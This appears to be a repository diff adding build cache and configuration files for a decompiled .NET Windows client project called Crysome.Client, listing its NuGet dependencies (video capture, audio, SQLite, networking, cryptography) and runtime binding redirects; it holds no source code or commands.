C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.exe
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.deps.json
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.runtimeconfig.json
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.dll
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.pdb
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.pdb
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.pdb
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe.config
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.SuggestedBindingRedirects.cache
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.exe.config
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.Fody.CopyLocal.cache
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.exe
Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.CopyLocal.cache
View File
Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache
+54
View File
@@ -0,0 +1,54 @@
C:\Users\lukas\.nuget\packages\aforge\2.2.5\lib\AForge.dll
C:\Users\lukas\.nuget\packages\aforge.video\2.2.5\lib\AForge.Video.dll
C:\Users\lukas\.nuget\packages\aforge.video.directshow\2.2.5\lib\AForge.Video.DirectShow.dll
C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.SqlServer.dll
C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.dll
C:\Users\lukas\.nuget\packages\microsoft.bcl.asyncinterfaces\8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll
C:\Users\lukas\.nuget\packages\microsoft.win32.primitives\4.3.0\lib\net46\Microsoft.Win32.Primitives.dll
C:\Users\lukas\.nuget\packages\microsoft.win32.registry\4.7.0\runtimes\win\lib\net461\Microsoft.Win32.Registry.dll
C:\Users\lukas\.nuget\packages\naudio\2.2.1\lib\net472\NAudio.dll
C:\Users\lukas\.nuget\packages\naudio.asio\2.2.1\lib\netstandard2.0\NAudio.Asio.dll
C:\Users\lukas\.nuget\packages\naudio.core\2.2.1\lib\netstandard2.0\NAudio.Core.dll
C:\Users\lukas\.nuget\packages\naudio.midi\2.2.1\lib\netstandard2.0\NAudio.Midi.dll
C:\Users\lukas\.nuget\packages\naudio.wasapi\2.2.1\lib\netstandard2.0\NAudio.Wasapi.dll
C:\Users\lukas\.nuget\packages\naudio.winforms\2.2.1\lib\net472\NAudio.WinForms.dll
C:\Users\lukas\.nuget\packages\naudio.winmm\2.2.1\lib\netstandard2.0\NAudio.WinMM.dll
C:\Users\lukas\.nuget\packages\stub.system.data.sqlite.core.netframework\1.0.119\lib\net46\System.Data.SQLite.dll
C:\Users\lukas\.nuget\packages\system.appcontext\4.3.0\lib\net463\System.AppContext.dll
C:\Users\lukas\.nuget\packages\system.buffers\4.6.0\lib\net462\System.Buffers.dll
C:\Users\lukas\.nuget\packages\system.codedom\9.0.0\lib\net462\System.CodeDom.dll
C:\Users\lukas\.nuget\packages\system.console\4.3.0\lib\net46\System.Console.dll
C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119\lib\net46\System.Data.SQLite.EF6.dll
C:\Users\lukas\.nuget\packages\system.data.sqlite.linq\1.0.119\lib\net46\System.Data.SQLite.Linq.dll
C:\Users\lukas\.nuget\packages\system.diagnostics.diagnosticsource\4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll
C:\Users\lukas\.nuget\packages\system.diagnostics.tracing\4.3.0\lib\net462\System.Diagnostics.Tracing.dll
C:\Users\lukas\.nuget\packages\system.globalization.calendars\4.3.0\lib\net46\System.Globalization.Calendars.dll
C:\Users\lukas\.nuget\packages\system.io\4.3.0\lib\net462\System.IO.dll
C:\Users\lukas\.nuget\packages\system.io.compression\4.3.0\runtimes\win\lib\net46\System.IO.Compression.dll
C:\Users\lukas\.nuget\packages\system.io.compression.zipfile\4.3.0\lib\net46\System.IO.Compression.ZipFile.dll
C:\Users\lukas\.nuget\packages\system.io.filesystem\4.3.0\lib\net46\System.IO.FileSystem.dll
C:\Users\lukas\.nuget\packages\system.io.filesystem.primitives\4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll
C:\Users\lukas\.nuget\packages\system.linq\4.3.0\lib\net463\System.Linq.dll
C:\Users\lukas\.nuget\packages\system.linq.expressions\4.3.0\lib\net463\System.Linq.Expressions.dll
C:\Users\lukas\.nuget\packages\system.memory\4.6.0\lib\net462\System.Memory.dll
C:\Users\lukas\.nuget\packages\system.net.http\4.3.0\runtimes\win\lib\net46\System.Net.Http.dll
C:\Users\lukas\.nuget\packages\system.net.sockets\4.3.0\lib\net46\System.Net.Sockets.dll
C:\Users\lukas\.nuget\packages\system.numerics.vectors\4.6.0\lib\net462\System.Numerics.Vectors.dll
C:\Users\lukas\.nuget\packages\system.reflection\4.3.0\lib\net462\System.Reflection.dll
C:\Users\lukas\.nuget\packages\system.runtime\4.3.0\lib\net462\System.Runtime.dll
C:\Users\lukas\.nuget\packages\system.runtime.compilerservices.unsafe\6.1.0\lib\net462\System.Runtime.CompilerServices.Unsafe.dll
C:\Users\lukas\.nuget\packages\system.runtime.extensions\4.3.0\lib\net462\System.Runtime.Extensions.dll
C:\Users\lukas\.nuget\packages\system.runtime.interopservices\4.3.0\lib\net463\System.Runtime.InteropServices.dll
C:\Users\lukas\.nuget\packages\system.runtime.interopservices.runtimeinformation\4.3.0\runtimes\win\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll
C:\Users\lukas\.nuget\packages\system.security.accesscontrol\4.7.0\runtimes\win\lib\net461\System.Security.AccessControl.dll
C:\Users\lukas\.nuget\packages\system.security.cryptography.algorithms\4.3.0\runtimes\win\lib\net463\System.Security.Cryptography.Algorithms.dll
C:\Users\lukas\.nuget\packages\system.security.cryptography.encoding\4.3.0\runtimes\win\lib\net46\System.Security.Cryptography.Encoding.dll
C:\Users\lukas\.nuget\packages\system.security.cryptography.primitives\4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll
C:\Users\lukas\.nuget\packages\system.security.cryptography.x509certificates\4.3.0\runtimes\win\lib\net461\System.Security.Cryptography.X509Certificates.dll
C:\Users\lukas\.nuget\packages\system.security.principal.windows\4.7.0\runtimes\win\lib\net461\System.Security.Principal.Windows.dll
C:\Users\lukas\.nuget\packages\system.text.encodings.web\8.0.0\lib\net462\System.Text.Encodings.Web.dll
C:\Users\lukas\.nuget\packages\system.text.json\8.0.5\lib\net462\System.Text.Json.dll
C:\Users\lukas\.nuget\packages\system.text.regularexpressions\4.3.0\lib\net463\System.Text.RegularExpressions.dll
C:\Users\lukas\.nuget\packages\system.threading.tasks.extensions\4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll
C:\Users\lukas\.nuget\packages\system.valuetuple\4.5.0\lib\net47\System.ValueTuple.dll
C:\Users\lukas\.nuget\packages\system.xml.readerwriter\4.3.0\lib\net46\System.Xml.ReaderWriter.dll
Crysome.Client/obj/Debug/Crysome.Client.csproj.SuggestedBindingRedirects.cache
+1
View File
@@ -0,0 +1 @@
44b643cf61902f7025160687c952b6cdeaea31a8ec1bbb8168236340253f84ca
Crysome.Client/obj/Debug/Crysome.Client.exe
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Crysome.Client.exe.config
+32
View File
@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.4.0" newVersion="4.0.4.0" />
</dependentAssembly>
</assemblyBinding>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
</dependentAssembly>
</assemblyBinding>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Numerics.Vectors" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.1.5.0" newVersion="4.1.5.0" />
</dependentAssembly>
</assemblyBinding>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.1.0" newVersion="6.0.1.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>
Crysome.Client/obj/Debug/Crysome.Client.exe.withSupportedRuntime.config
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
Crysome.Client/obj/Debug/Crysome.Client.pdb
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/apphost.exe
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs
+4
View File
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")]
Crysome.Client/obj/Debug/win-x64/Crysome..2BF6066E.Up2Date
View File
Crysome.Client/obj/Debug/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig
+28
View File
@@ -0,0 +1,28 @@
is_global = true
build_property.EnableAotAnalyzer =
build_property.EnableSingleFileAnalyzer = true
build_property.EnableTrimAnalyzer =
build_property.IncludeAllContentForSelfExtract = true
build_property.ApplicationManifest =
build_property.StartupObject =
build_property.ApplicationDefaultFont =
build_property.ApplicationHighDpiMode =
build_property.ApplicationUseCompatibleTextRendering =
build_property.ApplicationVisualStyles =
build_property.TargetFramework = net9.0-windows
build_property.TargetFrameworkIdentifier = .NETCoreApp
build_property.TargetFrameworkVersion = v9.0
build_property.TargetPlatformMinVersion = 7.0
build_property.UsingMicrosoftNETSdkWeb =
build_property.ProjectTypeGuids =
build_property.InvariantGlobalization =
build_property.PlatformNeutralAssembly =
build_property.EnforceExtendedAnalyzerRules =
build_property._SupportedPlatformList = Linux,macOS,Windows
build_property.RootNamespace = Crysome.Client
build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =
build_property.CsWinRTUseWindowsUIXamlProjections = false
build_property.EffectiveAnalysisLevelStyle = 9.0
build_property.EnableCodeStyleSeverity =
Crysome.Client/obj/Debug/win-x64/Crysome.Client.assets.cache
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.AssemblyReference.cache
BIN
View File
Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More